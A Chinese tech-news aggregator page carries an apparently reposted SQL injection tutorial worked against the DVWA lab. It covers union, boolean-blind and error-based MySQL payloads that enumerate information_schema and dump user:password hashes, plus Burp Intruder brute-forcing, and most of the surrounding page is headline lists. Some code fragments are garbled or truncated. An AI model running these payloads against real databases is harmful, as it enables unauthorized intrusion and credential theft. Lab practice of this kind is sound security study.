最新要闻
- 世界看点:谁能想到?人类历史上第一次抵抗AI:居然会发生在艺术圈
- 全球信息:我国多省雨雪上线!北方局地降温超8℃
- 全球今热点:功耗只有65W!14核心i5-13500偷跑:解锁到154W太生猛了
- 【环球热闻】实拍日本多地暴雪:1.6米高积雪掩埋车辆、14人死亡
- Redmi Buds 4青春版耳机亮相:单耳轻至3.9g 活力4色
- 环球快资讯:《阿凡达2》中的“海怪”:原来真的存在于地球!
- 天天快消息!男生考研分到高中母校被班主任监考:网友一句话扎心
- 天天信息:山东小伙用1个月微缩30倍农村老屋:惟妙惟肖
- 每日播报!2022年优化最差游戏榜单出炉:《巫师3》次世代版上榜
- 世界通讯!能跑虚幻5特效!Centerpiece机械键盘自带CPU+GPU
- 环球滚动:康辉被调侃为“天选打工人”:连上六天班、领带惹眼
- 世界百事通!Redmi K60首款素皮机身揭秘:参照跑车内饰 拟真缝线工艺
- 上海今起对快递外卖每人每天补贴60元 元旦春节补贴150元
- 全球观焦点:15.5小时!阿里云史上最长大规模中断:官方公告四大问题
- 不吃饭光吃补充剂 真的可以避免营养缺乏吗?
- 历时9个月 时速350高铁成功“穿海入城”
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
【天天时快讯】常见sql攻击学习
mysql默认表相关知识
在 mysql5 版本以后,mysql 默认在数据库中存放在一个叫 infomation_schema
里面 这个库里面有很多表 重点是这三个表 columns 、tables、SCHEMATA
表字段 CHEMA_NAME 记录着库的信息
columns 存储该用户创建的所有数据库的库名、标名和字段名。
(资料图片)
union联合注入攻击原理
步骤一:联合两表
1.union语句要求字段数一样才可以执行,所以我们要先进行字段判断
常见方法:
SELECT * FROM `users` WHERE user_id=1 order by 8
判断出字段数为8
然后通过
SELECT * FROM `users` WHERE user_id=1 union SELECT 1,2,3,4,5,6,7,8
进行联合查询
联合查询后面的语句
SELECT * FROM guestbook WHERE `comment_id`=1 union SELECT 1,2,user()
select后面的数字可以替换成字段的名称或者函数
-- 替换成mysql内置函数SELECT * FROM guestbook WHERE `comment_id`=1 union SELECT user(),md5("a"),version()
-- 替换成mysql数据库里的字段SELECT * FROM guestbook WHERE `comment_id`=1 union SELECT user_id,user,password from users-- 也可以在语句后面加上limit限定显示的行数SELECT * FROM guestbook WHERE `comment_id`=1 union SELECT user_id,user,password from users limit 1SELECT * FROM guestbook WHERE `comment_id`=1 union SELECT user_id,user,password from users limit 0,2
-- 如果不想要第一个表里的数据 可以把1换成-1 因为默认负数就表示不存在的SELECT * FROM guestbook WHERE `comment_id`=-1 union SELECT user_id,user,password from users limit 1
union联合注入攻击分析
分析联合注入漏洞代码
首先我们先分析构成联合注入攻击的sql注入代码
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values //显示查询成功后的内容 $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]);}?>
First name: {$first}
Surname: {$last}
判断是否存在联合注入
我们先通过靶场查询id 如果在我们没进行源代码分析的基础上 我们首先需要进行数字和字符串判断 1
和1‘
判断出传入数据是字符串型 即存在注入漏洞
输入 1"and "1"="1 页面返回用户信息 1"and "1"="2 页面返回不一样的信息。基本可以确定存在 SQL 注入漏洞.
判断字段数
使用语句order by
确定当前表的字符数
order by 1 如果页面返回正常 字段数不少于 1,order by 2 不少于 2,一直如此类推直到页面出错。正确的字段数是出错数字减少 1
公式 order by n-1
1" order by 1--+ 正常
1" order by 2--+ 正常
1" order by 3--+ 出错
正常页面
联合查询注入获取敏感信息
跟前面咱们分析的一样,这里只是把查询的数据替换成了联合查询的语句 然后进行获取另一个表的字段或者函数
-1" union select user,password from users--
我们也可以使用group_concat()
函数来进行分组打印
-1" union select 1,group_concat(user(),0x3A,version())--
联合查询注入通过information_schema
在黑盒情况下我们是不知道当前数据库里都有哪些表的所以我们先从mysql的information_schema入手进行表的查询
第一个表:
这里的database()
函数是来限定查询的表是当前表
-1" union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--
第二个表:
-1" union select 1,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,2)--
通过两个表的查询我们知道dvwa中含有的表为guestbook
和users
联合查询注入通过information_schema获取字段
我们知道数据库的字段都存在mysql默认内置库information_schema的columns里,所以我们想要获取当前数据库的字段名字我们可以通过
获取users表里的第一个字段名字 id
-1" union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="users" limit 1)-- -- 注意这里一定要加上限定 因为你每次查询都是一个字段如果不加会报错-- Subquery returns more than 1 row
获取第二个字段名字 password
-1" union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="users" limit 2,1)--
获取第三个字段名字 email
-1" union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="users" limit 3,1)--
获取第四个字段名字 secret
-1" union select 1,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="users" limit 4,1)--
...............................
通过联合查询表里面的内容
通过以上操作我们已经获取了当前数据库的库名、表名、字段
那么我们就可以通过下面语句获取表里面的内容了
-1" union select 1,(select group_concat(user,0x3a,password) from users limit 1)--
boolean布尔型盲注入
代码分析
0 ) { // Feedback for end user echo "User ID exists in the database.
"; } else { // User wasn"t found, so the page wasn"t! header( $_SERVER[ "SERVER_PROTOCOL" ] . " 404 Not Found" ); // Feedback for end user echo "User ID is MISSING from the database.
"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);}?>
接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database
否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库
里任何内容,如果存在注入,成为盲注入。
盲注入的方法有两种:一是布尔型盲注入,二是延时注入
判断盲注入
我们可以通过1" and "1"="1
和 1" and "1"="2
是否一样
以及 1" and sleep(10)--
让他睡10s判断是否一样
Boolean布尔型注入攻击
因为页面不会返回查询的内容所以我们不能使用联合查询注入攻击,但是我们可以通过构造sql来获取数据。
1" and if(1=1,1,0)-- -- 三目运算
布尔型盲注入获取数据库敏感信息
在黑盒测试环境下,通过构造sql语句来进行获取敏感信息。
构造sql语句常用的函数:
1.SUBSTRING()
字符串截取函数,第一个参数是字符串,第二个参数开始截取,第三个参数是截取的长度
我们可以构造这样的sql语句
SELECT if(SUBSTRING(database(),1,1)="d",1,0)
如果截取的第一个字符是‘d’我们返回1 否则返回0
此类推。再后拼接字符就是完整的库名。
黑盒情况下进行布尔盲注入
步骤:
我们首先需要判断注入是否为布尔注入,判断完后就可以获取数据库的长度,得到长度再查询库名,然后查询表名,字段,字段内容。。。
布尔盲注入查询长度
通过构造如下sql语句进行数据库长度的查询
1" and if(length(database())=4,1,0)--
判断出长度为4
布尔盲注入判断库名
这一步操作其实就是通过遍历
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_
与语句进行整合判断出是否返回1
1" and if(SUBSTRING(database(),1,1)="$d",1,0)--
当然了,我们手动进行一个一个测试肯定很慢,那么我们可以借助burp来进行如此操作
带有构造sql语句的url
http://192.168.18.137/01/vulnerabilities/sqli_blind/?id=1%27%20and%20if(SUBSTRING(database(),1,1)=%27d%27,1,0)--%20&Submit=Submit#
再burp里面抓包然后送入intruder
先清除变量 然后再将数字和字母设为变量 攻击类型选择 cluster bomb
然后就是payloads里面两个变量的设置 然后开始攻击就行 跑出来的状态码为200即为成功!
获得的数据库名为 dvwa
接着我们通过库名来获取表名
1" and if(SUBSTRING((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)="g",1,0)--
同样通过burp进行抓包
获取到表名guestbook
然后获取字段名
1" and if(SUBSTRING((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="users" limit 1,1),1,1)="l",1,0)--
同样我们用burp进行爆破
得到字段名为login password
等
获得完
字段后 我们可以进一步获取字段内容【账号+密码】
1" and if(SUBSTRING((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)="a",1,0)--
报错注入
顾名思义报错注入就是指数据库显示错误,比如sql语法错误
一般对于php。特别php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。在 php 中 使用 mysql_error()
函数
如果在查询注入时候会有报错信息返回,可以采用报错注入
报错注入分析
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "ID: {$id}"; } mysqli_close($GLOBALS["___mysqli_ston"]);}?>
First name: {$first}
Surname: {$last}
报错注入攻击
在输入框输入报错的sql拼接语句
1" and info()--
它的原理是下面一条语句会执行但是会报错,在报错信息中会返回数据库名称
SELECT first_name,last_name from users WHERE user_id="1" and info()
报错注入获取敏感信息
通过构造sql语句,返回带有数据库敏感信息的错误信息
1" and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--
注意:这里为什么要用updatexml()
呢,首先要先了解这个函数
updatexml(xml_doument,XPath_string,new_value)第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
简单点说,这个函数有三个参数,我们利用第二个参数必须要更改信息的xpath语句来进行报错注入。
为什么要在第二个参数里面加上concat语句呢?因为updatexml()第二个参数需要进行xpath校验,如果第二个参数哪里不是xpath语句它会进行一次校验然后把校验后的错误信息返回
但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32
字符就要采用字符串截取方法。每次获取 32 个字符串的长度。
除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。
例如:
1.floor()select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)) as x from information_schema.tables group by x)a);2.extractvalue()select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()select * from test where id=1 and exp(~(select * from(select user())a));
在黑盒模式下进行报错注入
流程还是根之前一样 库名-》表名-》字段-》字段内容
获取库名
1" and (updatexml(1,(select concat("`",(select database()),"`")),1))--
获取表名 这次用floor报错,floor报错不会出现长度问题
1" and (select 1 from (select count(*),concat((select (select(select distinct concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database() limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x)a)--
获取表名为 guestbook 将limit 0,1 改成 1,1是获取第二个表users
获取字段
获取users第一个字段
1" and (select 1 from(select count(*),,))
获取账号密码
获取账号和密码需要root权限
select authentication_string from mysql.user limit 1;select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1))select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1))
-
全球视讯!在同一台主机启动多个FreeSWITCH实例
本文更新于2022-04-23,使用FreeSWITCH1 10 7。假设已经在 usr local freeswitch安装FreeSWITCH,...
来源: -
焦点日报:Java开发学习(四十七)----MyBatisPlus删除语句之多记录操作
1、多记录操作先来看下问题:之前添加了很多商品到购物车,过了几天发现这些东西又不想要了,该怎么办呢?...
来源: 【天天时快讯】常见sql攻击学习
全球视讯!在同一台主机启动多个FreeSWITCH实例
世界看点:谁能想到?人类历史上第一次抵抗AI:居然会发生在艺术圈
焦点日报:Java开发学习(四十七)----MyBatisPlus删除语句之多记录操作
全球消息!【踩坑】Debian编译安装Podman和Prometheus-podman-exporter
全球信息:我国多省雨雪上线!北方局地降温超8℃
第三章 --------------------XAML的属性和事件
AcWing.7 混合背包问题
每日快讯!统一异常处理——BlockException
环球快资讯丨Codeforces 983 D Arkady and Rectangles 题解
全球今热点:功耗只有65W!14核心i5-13500偷跑:解锁到154W太生猛了
全球视点!教你用JavaScript实现调皮的字母
【新视野】PHP Composer 虚拟依赖包 - 实现按需载入钉钉对应功能模块的 php sdk
全球新动态:Safari浏览器对SVG中的
标签支持不友好,渲染容易错位 【环球热闻】实拍日本多地暴雪:1.6米高积雪掩埋车辆、14人死亡
Redmi Buds 4青春版耳机亮相:单耳轻至3.9g 活力4色
环球快资讯:《阿凡达2》中的“海怪”:原来真的存在于地球!
AcWing241. 楼兰图腾
天天速递!CentOS7配置静态IP
天天快消息!男生考研分到高中母校被班主任监考:网友一句话扎心
天天信息:山东小伙用1个月微缩30倍农村老屋:惟妙惟肖
MAUI新生6.1-Shell导航视觉层次结构
每日播报!2022年优化最差游戏榜单出炉:《巫师3》次世代版上榜
世界通讯!能跑虚幻5特效!Centerpiece机械键盘自带CPU+GPU
环球滚动:康辉被调侃为“天选打工人”:连上六天班、领带惹眼
世界百事通!Redmi K60首款素皮机身揭秘:参照跑车内饰 拟真缝线工艺
上海今起对快递外卖每人每天补贴60元 元旦春节补贴150元
全球观焦点:15.5小时!阿里云史上最长大规模中断:官方公告四大问题
不吃饭光吃补充剂 真的可以避免营养缺乏吗?
历时9个月 时速350高铁成功“穿海入城”
别再说RTX 4090功耗比A卡高了:4K 120帧仅需150W
简讯:权威结果出炉:今年画质最好的游戏有答案了
炉石关服前夕:网易同类卡牌游戏《秘境对决》宣布恢复运营
今日最新!洛谷 P5721 【入门3】循环结构
【pygame游戏】用Python实现一个蔡徐坤大战篮球的小游戏,可还行?【附源码】
环球热议:大货车雪地滑坡 山东小伙神操作“拔草相助”!后续令网友感动
超长寿命TLC闪存 金邦2TB PCIe 4.0硬盘679元:5GB/s速度
热门:再不努力就要归零 2nm工艺成日本半导体最后的机会
教你用JavaScript实现搜索展开
天天新资讯:李斌:创业的没有几个真的是骗子 要多鼓励
AMD 8年真身接连被破 Intel 13代酷睿“开挂“:超频无敌了
【焦点热闻】索尼被质疑虚假宣传:上市两年后 PS5仍不支持8K
中国千年酒文化传承 酒祖杜康白酒大促:礼盒装110两瓶
今日聚焦!李斌再回应蔚来数据泄露:会承担所有责任 哪怕破产也不妥协
环球微动态丨「杂题乱写」AtCoderDP26 题
(二)elasticsearch 源码目录
【新视野】碳纤维纹理后盖!Redmi K60回归硬核设计:刀锋战士理念
速看:无惧严寒!网易严选牛奶绒床品四件套:159元起
新的全国铁路列车运行图实行:石家庄至北京将实现一小时通达
新版以太坊Ethereum库ethersV5.0配合后端Golang1.18实时链接区块链钱包(Metamask/Okc)以及验签操作
环球关注:高速上飞来钢管插进驾驶室:差点害死驾驶员
热消息:联想:小红点会在ThinkPad笔记本上永远存在
天天头条:正式发布前 盒装RTX 4070 Ti线下偷跑:售价感人
天天热资讯!保时捷为Taycan推出全新充电器:充电速度提升一倍 改装费用上万
环球通讯!Epic喜加一!免费送大作《地铁》:下款将是《死亡搁浅》
每日头条!2023考研报告发布:“逆向考研”成亮点!附报告源文
世界快播:锐龙7000系列三款非X型号曝光:价格感受下
囧!日本老师暴打初二男生 因学“左手定则”时比中指
老人故意推倒摩托车损坏被抓:车主回应希望判决不手软 惯犯了
焦点速递!Sentinel的规则
天天热议:一加11下周官宣:安卓性能天花板
MAUI新生5.3-Layout布局类控件难点
国产OS统信UOS家庭版22.0明年1月发布:免费用1年 可与Windows共存
全靠移民硬撑?美国人口增长率仍贴近历史低位
视点!18岁女生因焦虑2个月减25斤:最终瘦成95斤
天天消息!男子无聊送外卖发现2小时挣150:开豪车也干
天天精选!Kubernetes监控手册03-宿主监控实操
今日观点!一路用到安卓17?OPPO将提供4年ColorOS重大更新
环球即时看!同价位罕见!雷军:Redmi K60系列这三款全都上2K直屏
微资讯!“联盟号”发生泄漏:俄罗斯或派遣救援飞船接回机组人员
世界播报:cmake-4
Redmi可穿戴新品公布:手表、耳机全都有
行业最快!红魔8 Pro系列搭载520Hz游戏体感肩键:毫秒级触控响应
《阿凡达2:水之道》国内票房突破6亿:卡梅隆光环褪色 回本太难
每日焦点!终结起火、爆炸困扰!红旗全固态电芯试制完成:10Ah级大容量
27款笔记软件的介绍
全球视点!ts10_使用webpack打包ts文件3
环球今日报丨C#封装GRPC类库及调用简单实例
百事通!Spring IOC官方文档学习笔记(四)之依赖项(下)
【天天报资讯】Web 标准 & W3C 规范
今日热闻!研究人员在柬埔寨发现超级蚊子:对杀虫剂免疫
焦点关注:C++基础3
焦点滚动:惧怕《阿凡达2》 输不起?郭帆回应《流浪地球2》撤档 春节见
播报:Redmi K60全系标配2K柔性屏 专家:国产技术已破局超越
环球即时看!以小博大外小内大,Db数据库SQL优化之小数据驱动大数据
全球快资讯丨最高799元 迪士尼再发布涨价公告:开业以来已涨4次
质感一绝!一加11证件照公布:双曲面屏、流动天阶设计
速递!共计100小时:全球首架C919自12月26日起验证飞行
ts09_使用webpack打包ts文件2
环球热头条丨2022贺岁档票房破10亿!《阿凡达:水之道》5.9亿元能拯救院线吗
曾因“双标”遭网友痛批:好丽友旗舰店发布闭店公告
全球热头条丨AcWing1134/洛谷P1144 最短路计数
WPF开发之Prism详解【内附源码】
不愧是宝马 因机油渗漏:近500台S1000系列摩托车被召回
最新快讯!Codeforces 1097 G Vladislav and a Great Legend 题解 (DP)
焦点日报:肾脏衰竭 球王贝利病情继续恶化:家人开始筹备葬礼
02.关于线程你必须知道的8个问题(上)
当前头条:喜提安卓13!小米平板5/Pro 12.4推送MIUI 14开发版:支持光子引擎
每日热文:SSD/内存白菜价难持续:国产厂商被制裁 三星等大厂减产提价
天天热点!我的2022年个人总结